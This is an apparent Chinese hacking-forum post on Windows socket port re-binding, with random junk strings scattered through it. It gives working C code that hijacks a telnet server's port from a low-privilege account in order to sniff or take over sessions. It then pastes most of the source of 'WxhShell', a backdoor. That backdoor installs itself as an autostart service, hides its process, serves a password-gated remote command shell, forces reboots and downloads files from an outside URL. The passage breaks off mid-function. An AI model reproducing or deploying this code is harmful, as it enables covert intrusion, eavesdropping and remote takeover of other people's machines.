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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XcD$xFDZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AT+7!UGL  
<#k(g\/R  
  saddr.sin_family = AF_INET; Q!9AxM2K  
My vp PW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U8m/L^zh  
W^v3pH-y#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2Sz?r d,0f  
Bs:INvhYW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f_I6g uDPz  
xJlf}LEyF  
  这意味着什么?意味着可以进行如下的攻击: 68 vu  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?H3Ls~R  
D;*P'%_Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L"e8S%UqX  
Po_y7 8ZD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `o4alK\  
Y- esD'MD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VB=$D|Ll  
#6* j+SX^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C+tB$yahO  
RE 6d&#N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]6#bp,  
HtFc+%=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wA$ JDf)Vg  
jJc:%h$|2  
  #include |soDt <y+L  
  #include V'alzw7#  
  #include S+9}W/  
  #include    6N+]g/_a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,sF49C D  
  int main() l=4lhFG,Mk  
  { qJN!L))  
  WORD wVersionRequested; Ps<;DE\$f4  
  DWORD ret; =cz^g^7  
  WSADATA wsaData; <MdIQ;I8  
  BOOL val; oU"!"t  
  SOCKADDR_IN saddr; ~FCkr&Ky3  
  SOCKADDR_IN scaddr; \7]0vG  
  int err; 0;6eSmF  
  SOCKET s; l4: B(  
  SOCKET sc; tr?U/YG  
  int caddsize; [C@ |q Ah  
  HANDLE mt; !W2dMD/  
  DWORD tid;   A~0eJaq+  
  wVersionRequested = MAKEWORD( 2, 2 ); lFJDdf2:$C  
  err = WSAStartup( wVersionRequested, &wsaData ); 'ip2|UG  
  if ( err != 0 ) { (+aU,EQ  
  printf("error!WSAStartup failed!\n"); P]cC2L@Vbi  
  return -1; bSJ@ 5qS  
  } ,#?iu?i/  
  saddr.sin_family = AF_INET; [0>I6Jl  
   Tew?e&eO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r8%"#<]/  
WtS5i7:<Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;8Qx~:c  
  saddr.sin_port = htons(23); |[./jg"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ; ,9:1.L  
  { XSOSy2:  
  printf("error!socket failed!\n"); :[\M|iAo  
  return -1; rvEX ;8TS  
  } j{&*]QTN  
  val = TRUE; dQ#$(<v[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sx1w5rj.Y0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JiN>sEAM  
  { W *.j=?)\[  
  printf("error!setsockopt failed!\n"); >a%C'H.A9  
  return -1; ngLpiU0H&  
  } w#qE#g %1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !94qF,#1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nY M2Vxi0+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ){}1u ?  
H6/n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KATu7)e&~^  
  { oU`{6 ~;  
  ret=GetLastError(); 2p|ed=ly%  
  printf("error!bind failed!\n"); )JA9bR <  
  return -1; y?Cq{(  
  } 2r^G;,{  
  listen(s,2); ;X;q8J^_K_  
  while(1) {J~VB~('  
  { 0+{CN|0  
  caddsize = sizeof(scaddr); 8.WZC1N  
  //接受连接请求 $ VTk0J-W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u; G-46  
  if(sc!=INVALID_SOCKET) 2QIx~Er  
  { Ci9]#)"c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %n B}Hq ;  
  if(mt==NULL) hEhvA6f,  
  { <rI8O;\H  
  printf("Thread Creat Failed!\n"); C.`!?CW  
  break; *N65B#  
  } r7FFZNs!  
  } \DMZ M  
  CloseHandle(mt); c9O0YQ3&8  
  } nq%GLUH   
  closesocket(s); 2'U+QK@  
  WSACleanup(); &zV; p  
  return 0; Um%$TGw5  
  }   5c ($~EFr  
  DWORD WINAPI ClientThread(LPVOID lpParam) X+KQ%Efo  
  { h?7@]&VJ  
  SOCKET ss = (SOCKET)lpParam; b}HwvS:  
  SOCKET sc; 01w}8a(  
  unsigned char buf[4096]; 4{6XZ_J1  
  SOCKADDR_IN saddr; wX+KW0|>  
  long num; jJqq:.XqB8  
  DWORD val; )0XJOm  
  DWORD ret; eKvQS}11  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @:w[(K[^b/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qv B%X)J  
  saddr.sin_family = AF_INET; Lq#$q>!K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )(V!& w6  
  saddr.sin_port = htons(23); s;W1YN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L %20tm  
  { GUcGu5tw:  
  printf("error!socket failed!\n"); Q@ghQGn#  
  return -1; -izZ D  
  } VMl)_M:'  
  val = 100; 6 ~+/cY-V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mO^ )k  
  { I><sK-3  
  ret = GetLastError(); IA~wmOF  
  return -1; \1nj=ca?  
  } d)1Pl3+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jrN"en  
  { B&Iy_;  
  ret = GetLastError(); k)TNmpL%"  
  return -1; ,M0#?j>  
  } x.%x|6G*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +Z/aB*aVa^  
  { iM_Zn!|@\  
  printf("error!socket connect failed!\n"); :O9i:Xq[QW  
  closesocket(sc); 9B9:lR  
  closesocket(ss); MVkO >s  
  return -1; 3-4CGSX;X  
  } s#>``E!  
  while(1) dkAY%ztwo  
  { _ipY;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C^fUhLVSZ^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ; %mYsQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8m*uT< 5D  
  num = recv(ss,buf,4096,0); ->*'Y;t4  
  if(num>0) vv^(c w>A  
  send(sc,buf,num,0); 8/T,.<5  
  else if(num==0) l'FNp  
  break; 0oPcZ""X]  
  num = recv(sc,buf,4096,0); b |JM4jgK  
  if(num>0) ZnZ`/zNO  
  send(ss,buf,num,0); m!sMr^W  
  else if(num==0) l~'NqmXe  
  break; cIOM}/gqv  
  } Rd:wMy$  
  closesocket(ss); Dl=qss~g+  
  closesocket(sc); 9#)&  
  return 0 ; 7thB1cOJ  
  } 2[~|6 @n  
\{{i:&] H  
2>'/!/+R  
========================================================== p -wEPC0  
BkJNu_{m?  
下边附上一个代码,,WXhSHELL 0Q5fX}  
SwdUElEp  
========================================================== Av,E|C  
XHYVcwmDz-  
#include "stdafx.h" +&qj`hA-b  
o 4cqLM u  
#include <stdio.h> >Ni<itze$i  
#include <string.h> g/BlTi  
#include <windows.h> _28vf Bl?  
#include <winsock2.h> >*e,+ok  
#include <winsvc.h> %Kc2n9W  
#include <urlmon.h> {i|$^A3  
b$/ 'dnx  
#pragma comment (lib, "Ws2_32.lib") <}t<A  
#pragma comment (lib, "urlmon.lib") H-'~c \)  
@ZtDjxN &  
#define MAX_USER   100 // 最大客户端连接数 #n6<jF1G  
#define BUF_SOCK   200 // sock buffer gF8n{b  
#define KEY_BUFF   255 // 输入 buffer <Kt;uu>  
"Oq>i9v;|$  
#define REBOOT     0   // 重启 gvy c(d  
#define SHUTDOWN   1   // 关机 6+ C7vG`  
~spfQV~  
#define DEF_PORT   5000 // 监听端口 'J(B{B7|  
<p\iB'y  
#define REG_LEN     16   // 注册表键长度 09w<@#  
#define SVC_LEN     80   // NT服务名长度 (@ixV$Y  
{/K_NSg+h  
// 从dll定义API ~[3B<^e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B,avI&7M;S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jwe9L^gL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KV]8o'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C ]+J  
| x/Z qY  
// wxhshell配置信息 ?n V& :~eY  
struct WSCFG { THf*<|  
  int ws_port;         // 监听端口 \%$z!]S>  
  char ws_passstr[REG_LEN]; // 口令 6rg?0\A<  
  int ws_autoins;       // 安装标记, 1=yes 0=no KQ2jeJ/pj  
  char ws_regname[REG_LEN]; // 注册表键名 +"F9yb  
  char ws_svcname[REG_LEN]; // 服务名 JVt(!%K}&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n Wb0S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tp?< e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L>{p>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e sDd>W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8"KaW2/%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ).uR@j  
sEm064  
}; i2Cw#x0s  
;.|).y1/`  
// default Wxhshell configuration J)"g`)\2+  
struct WSCFG wscfg={DEF_PORT, 7^*[ XH  
    "xuhuanlingzhe", x/^,{RrPk  
    1, 61=D&lb  
    "Wxhshell", -1<*mbb0  
    "Wxhshell", 6y}|IhX?z  
            "WxhShell Service", 7<7 /NZ<I  
    "Wrsky Windows CmdShell Service", 2SlOqH1  
    "Please Input Your Password: ", Z0Df~ @  
  1, 2m0laJ3p9  
  "http://www.wrsky.com/wxhshell.exe", I'>r  
  "Wxhshell.exe" $pGdGV\H  
    }; o<\9OQ0  
gy6Pf4Yo  
// 消息定义模块 t-3y`31i.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7qT>wCVT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1:VbbOu->V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X0e#w?  
char *msg_ws_ext="\n\rExit."; ?/ Cl  
char *msg_ws_end="\n\rQuit."; )ND%MYJSq  
char *msg_ws_boot="\n\rReboot..."; g}Esj"7  
char *msg_ws_poff="\n\rShutdown..."; < rqFBq 8  
char *msg_ws_down="\n\rSave to "; r'~^BLT`#  
Kt\#|-{CH-  
char *msg_ws_err="\n\rErr!"; T~JE.Y3B3  
char *msg_ws_ok="\n\rOK!"; 1@vlbgLr@  
/`vn/X^?^  
char ExeFile[MAX_PATH]; F3pBk)>a\  
int nUser = 0; E|>oseR  
HANDLE handles[MAX_USER]; +`s%-}-r  
int OsIsNt; R0_O/o+{  
QGpAG#M9?  
SERVICE_STATUS       serviceStatus; 568qdD`PS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2c4x=%  
Q{"QpVY8  
// 函数声明 sm>5n_Vw  
int Install(void); Vi o ~2  
int Uninstall(void); qmWn$,ax  
int DownloadFile(char *sURL, SOCKET wsh); NQ"`F,T  
int Boot(int flag); bUBQ  
void HideProc(void); *oca   
int GetOsVer(void); "Acc]CqH*  
int Wxhshell(SOCKET wsl); 7GVI={ b  
void TalkWithClient(void *cs); Z[pMlg6Z  
int CmdShell(SOCKET sock); /Xo8 kC  
int StartFromService(void); u[;,~eB%w  
int StartWxhshell(LPSTR lpCmdLine); ]> 36{k]&  
ic]b"ItD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0}d^UGD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); = gbB)u-Pc  
xQK;3b  
// 数据结构和表定义 @Wb_Sz4`  
SERVICE_TABLE_ENTRY DispatchTable[] = 2qkZ B0[  
{ o2 vBY]Tj  
{wscfg.ws_svcname, NTServiceMain}, !Ey=  
{NULL, NULL} ^qP}/H[QT  
}; 32KL~32Y  
UoSzxL  
// 自我安装 c>3AR17+5  
int Install(void) F#^<t$5t  
{ 1YxG<K]  
  char svExeFile[MAX_PATH]; {} gr\  
  HKEY key; fu]mxGPc  
  strcpy(svExeFile,ExeFile); t/`~(0F  
H:jx_  
// 如果是win9x系统,修改注册表设为自启动 {ICW"R lcs  
if(!OsIsNt) { a/v!W@Zz}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EBl?oN7E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QaYUcma~n  
  RegCloseKey(key); j68_3zpl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;"N4Yflz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cEc_S42Z  
  RegCloseKey(key); . vJlTg  
  return 0; \)' o{l&  
    } +dgHl_,i  
  } W-UMX',0zS  
} 0/@ ^He8l  
else { zXRq) ;s  
pi|P&?yw  
// 如果是NT以上系统,安装为系统服务 .\6q\7Ej  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4`M7 3k0  
if (schSCManager!=0) *(>,\8OVf  
{ M1 5_  
  SC_HANDLE schService = CreateService ^+'[:rE  
  ( qVDf98  
  schSCManager, zA g.,dA  
  wscfg.ws_svcname, 1q7Y,whp  
  wscfg.ws_svcdisp, -fm1T|>#  
  SERVICE_ALL_ACCESS, ~aZy52H_#.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ooW;s<6  
  SERVICE_AUTO_START, h]{V/  
  SERVICE_ERROR_NORMAL, O"6 (k{`  
  svExeFile, i3[%]_eP.  
  NULL, lNwqWOWy  
  NULL, T1YCld  
  NULL, yur5" $n  
  NULL, a6<UMJ  
  NULL & uMx*TTY  
  ); d)yu`U  
  if (schService!=0) iXsX@ S^F  
  { 6";ew:Ih^  
  CloseServiceHandle(schService); !Yi2g -(  
  CloseServiceHandle(schSCManager); ?Xq"Q^o4#e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9>I&Z8J$M  
  strcat(svExeFile,wscfg.ws_svcname); (O@fgBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Mq vGXI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g;n6hXq4  
  RegCloseKey(key); V }?MP-.c  
  return 0; rT mVHt  
    } r|,_qNrw  
  } dvX[,*wz  
  CloseServiceHandle(schSCManager); I)YUGA5  
} j'QPJ(`~1l  
} K}j["p<!  
aB*'DDlx"r  
return 1; wdo(K.m  
} 99G'`NO  
: FN-.1C  
// 自我卸载 M8{J  
int Uninstall(void) {IgL H`@  
{ MX )mm^A  
  HKEY key; qe3d,!  
!+(c/ gwBh  
if(!OsIsNt) { gx ]5)O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y`Nprwb  
  RegDeleteValue(key,wscfg.ws_regname); 2P( 6R.8;6  
  RegCloseKey(key); C4H$w:bVk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D<wz%*  
  RegDeleteValue(key,wscfg.ws_regname); p-o8Ctc?V  
  RegCloseKey(key); V7}]39m(s  
  return 0; =73aME}  
  } h; "pAE  
} F +Dke>j  
} "PePiW(i+  
else { &rbkw<=j  
%5yP^BL0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Zt N9l  
if (schSCManager!=0) fG_<HJS(~  
{ 4Wk`P]?^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #9e2+5s  
  if (schService!=0) T jrz_o)  
  { 3 n3$?oV  
  if(DeleteService(schService)!=0) { Xf%vfAf  
  CloseServiceHandle(schService); $No^\.mV  
  CloseServiceHandle(schSCManager); _fM=J+  
  return 0; f>zd,|)At  
  } P|tNmv[;  
  CloseServiceHandle(schService); \TS.9 >\  
  } /)*si  
  CloseServiceHandle(schSCManager); !~_6S*~  
} HrS-o=  
} ym;I(TC+  
qp{3I("_  
return 1; V M{Sng  
} JKY  
lKBI3oYn  
// 从指定url下载文件 q5G`N>"V  
int DownloadFile(char *sURL, SOCKET wsh) Y1-=H)G  
{ W1 \dGskV  
  HRESULT hr; m`9P5[m#x>  
char seps[]= "/"; ecMpU8}rR  
char *token; Ie7S'.Lmq  
char *file; q${+I(b,  
char myURL[MAX_PATH]; n3_| # 1Qu  
char myFILE[MAX_PATH]; %{B4M#~  
>uP1k.z'I  
strcpy(myURL,sURL); ufB9\yl{~  
  token=strtok(myURL,seps); 2UeK%-~W?  
  while(token!=NULL) Xk?Y  
  { XYze*8xUb  
    file=token; j*_>/gi  
  token=strtok(NULL,seps); q"-+`;^7(-  
  } '>:%n  
k[a5D/b  
GetCurrentDirectory(MAX_PATH,myFILE); 08_<G`r  
strcat(myFILE, "\\"); X- P%^mK  
strcat(myFILE, file); R@ MXwP  
  send(wsh,myFILE,strlen(myFILE),0); ?.g="{5X  
send(wsh,"...",3,0); RV>n Op}R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l(Y\@@t1  
  if(hr==S_OK) X3j|J/  
return 0; [!j;jlh7},  
else =l4F/?u]f@  
return 1; Z5`U+ (  
S;}/ql y  
} BmFtRbR  
^0(`:*  
// 系统电源模块 "P!zu(h4  
int Boot(int flag) ekCt1^5Y  
{ &\W5|*`x-  
  HANDLE hToken; YDaGr6y4i  
  TOKEN_PRIVILEGES tkp; $AF,4Ir-b+  
iUq{c+h  
  if(OsIsNt) { { 4B7a6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ')Qb,#/,%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7,3 g{8  
    tkp.PrivilegeCount = 1; A",Xn/d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JpZ3T~Wrf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %:.IG.`d  
if(flag==REBOOT) { q9B5>Ye)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kf1 (  
  return 0; M5`wfF,j  
} iUk#0 I  
else { "Xj>dB1~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) = /kT|  
  return 0; \]qwD m/  
} k8w:8*y'.  
  } ,ik\MSS  
  else { ]//D d/L6  
if(flag==REBOOT) { oRHWb_$"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cHUj6'neO  
  return 0; Tl S 904'  
} N#8$pE  
else { 6Z!OD(/e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rp!>rM] s  
  return 0; V&R_A~<T  
} fvM|Jb  
} vqRW^>~-B  
e$4l[&kH_  
return 1; fH 0&Wc3yC  
} WZf}1.Mh*  
`_E@cZ4  
// win9x进程隐藏模块 fYzZW  
void HideProc(void) ,,~|o3cfq  
{ Zrp9`~_g<!  
E|ZLz~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y4)=D@JI  
  if ( hKernel != NULL ) 2^fSC`!  
  { u<nPJeE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p 4Y 2AQ9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q&V=A[<rz  
    FreeLibrary(hKernel); 6@J)k V  
  } L7B(abT9e  
t**o<p#)f  
return; 9 [wR/8Xm  
} A{ Ejk|  
\"Aw ATQ  
// 获取操作系统版本 3t$)saQR  
int GetOsVer(void) YCu9dBeVS  
{ 2@a]x(  
  OSVERSIONINFO winfo; Hv .C5mo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "kkZK=}Nv  
  GetVersionEx(&winfo); qW t 9Tr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BZRC0^-C@  
  return 1; r&D&xsbQ  
  else Gu\lV c  
  return 0; c{cJ>d 0  
} vY(xH>Fd  
qh 9Ix  
// 客户端句柄模块 usOIbrQ  
int Wxhshell(SOCKET wsl) S<DS|qOo  
{ >TwL&la  
  SOCKET wsh; P*6&0\af|  
  struct sockaddr_in client; M UqV$#4@I  
  DWORD myID; (C!33s1  
/@f3|L<1@V  
  while(nUser<MAX_USER) ]z 5gC`E0  
{ qJLtqv  
  int nSize=sizeof(client); pax;#*QcQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C]DvoJmBs  
  if(wsh==INVALID_SOCKET) return 1; @G0j/@v  
uNG?`>4>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 16n8[U!  
if(handles[nUser]==0) [9xUMX^}  
  closesocket(wsh); EFS2 zU  
else 3NC-)S  
  nUser++; (f?&zQ!+  
  } ?#_]Lzn'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  B!+`km5  
3bPF+(`J  
  return 0; $_NP4V8|z/  
} .+Fh,bNYK  
mLL?n)   
// 关闭 socket J;cTEB  
void CloseIt(SOCKET wsh) V-%Am  
{ tQrkRg(E:  
closesocket(wsh); xbhU:,o  
nUser--; Oa|'wh ug  
ExitThread(0);  QKtTy>5  
} k-a3oLCR,  
,1&</R_  
// 客户端请求句柄 d}RR!i`<N  
void TalkWithClient(void *cs) 7!-y72qx  
{ 63n<4VSH  
Vpsv@\@J>  
  SOCKET wsh=(SOCKET)cs; pt+[BF6P  
  char pwd[SVC_LEN]; "8h7"WR  
  char cmd[KEY_BUFF]; 2^C>orKQ0  
char chr[1]; #iAEcC0k5  
int i,j; Wf>scl `s  
h$~ \to$C  
  while (nUser < MAX_USER) { ?\NWKp  
#Jqa_$\.  
if(wscfg.ws_passstr) { o `N /w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &o$Pwk\p/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {expx<+4F  
  //ZeroMemory(pwd,KEY_BUFF); ]EZiPW-uy  
      i=0; MUfhk)"  
  while(i<SVC_LEN) { hIv8A_>@`  
I,d5Y3mC  
  // 设置超时 FOx&'dH %@  
  fd_set FdRead; O$,MdhyXC  
  struct timeval TimeOut; >|@i8?|E  
  FD_ZERO(&FdRead); ~i y]X:U  
  FD_SET(wsh,&FdRead); !*@sX7H  
  TimeOut.tv_sec=8; xf]_@T;  
  TimeOut.tv_usec=0; a@&P\"k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8Mf{6&F=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HRxA0y=  
8Cw+<A*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U%nLo[k  
  pwd=chr[0]; u+Q<> >lU  
  if(chr[0]==0xd || chr[0]==0xa) { 6@[7  
  pwd=0; :AM5EO  
  break; BHa'`lCb  
  } -%eBip,'yl  
  i++; z<c%Xl\$%  
    } .V Cfh+*J#  
^yo~C3 r~  
  // 如果是非法用户,关闭 socket >MeM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n6Qsug$z  
} mjtmN0^SR  
e7^B3FOx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X|w[:[P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mWPA]g(  
l@OY8z-_  
while(1) { wfXm(RYM  
 nW*D  
  ZeroMemory(cmd,KEY_BUFF); E'O[E=  
zZax![Z  
      // 自动支持客户端 telnet标准   d1rIU6  
  j=0; 3pF7} P  
  while(j<KEY_BUFF) { kZ>Xl- LV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $|V@3`0  
  cmd[j]=chr[0]; ?\.aq p1B  
  if(chr[0]==0xa || chr[0]==0xd) { /:OSql5K*<  
  cmd[j]=0; Ob#d;F  
  break; uVn"'p-  
  } OmR) W'  
  j++; X5gI'u  
    } p2/Pj)2  
TC+L\7   
  // 下载文件 ZcLW8L  
  if(strstr(cmd,"http://")) { WQ1~9#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); muJR~4  
  if(DownloadFile(cmd,wsh)) 88l\8k4r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RMvq\J}w!  
  else 2`;&Uwt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n+XLZf#  
  } _vV3A3|Ec,  
  else { v{[:7]b_=  
t) :'XGk@  
    switch(cmd[0]) { il5Qo  
  DQy<!Wb+  
  // 帮助 bk}'wcX<+]  
  case '?': { %qYiE!%&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t3// U#  
    break; ;n~-z5)  
  } [ u.r]\[J  
  // 安装 x [_SNX"  
  case 'i': { O ;dtz\  
    if(Install()) y k{8O.g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0lm7'H*~  
    else H-|%\9&{S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z?DI4 O#Up  
    break; ^.HvuG},O  
    } OkV*,n  
  // 卸载 NrK.DY4  
  case 'r': { Y*Ra!]62  
    if(Uninstall()) ls*bCe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H6t'V%Ys  
    else _*m<Z;Et  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l3O!{&~K  
    break; <1%(%KdN[  
    } NtfzAz/  
  // 显示 wxhshell 所在路径 aVvma=  
  case 'p': { Id}/(Pkq  
    char svExeFile[MAX_PATH]; {gkzo3  
    strcpy(svExeFile,"\n\r"); EQTJ=\WFF  
      strcat(svExeFile,ExeFile); 6^l|/\Y{  
        send(wsh,svExeFile,strlen(svExeFile),0); ?-Zl(uX  
    break; rV_i|  
    } @$aGVEcU$  
  // 重启 LGdM40  
  case 'b': { {KGEv%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wr-/R"fX  
    if(Boot(REBOOT)) uSgR|b;R]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YstR T1  
    else { (xdC'@&  
    closesocket(wsh); JuKG#F#,  
    ExitThread(0); |W#(+m  
